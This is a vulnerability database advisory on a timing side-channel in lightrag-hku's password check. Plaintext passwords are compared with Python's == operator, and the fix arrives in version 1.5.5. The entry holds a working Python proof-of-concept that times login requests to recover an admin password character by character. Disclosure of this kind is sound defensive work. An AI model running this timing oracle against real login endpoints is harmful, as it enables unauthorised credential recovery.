GHSA-C759-CX9P-MRWQ

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function
Details

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:19Z",
    "nvd_published_at": "2026-09-22T17:17:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python\u0027s == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -\u003e bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://\u003cTARGET\u003e:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -\u003e float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.",
  "id": "GHSA-c759-cx9p-mrwq",
  "modified": "2026-09-22T20:40:20Z",
  "published": "2026-09-22T20:40:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85725"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3423"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…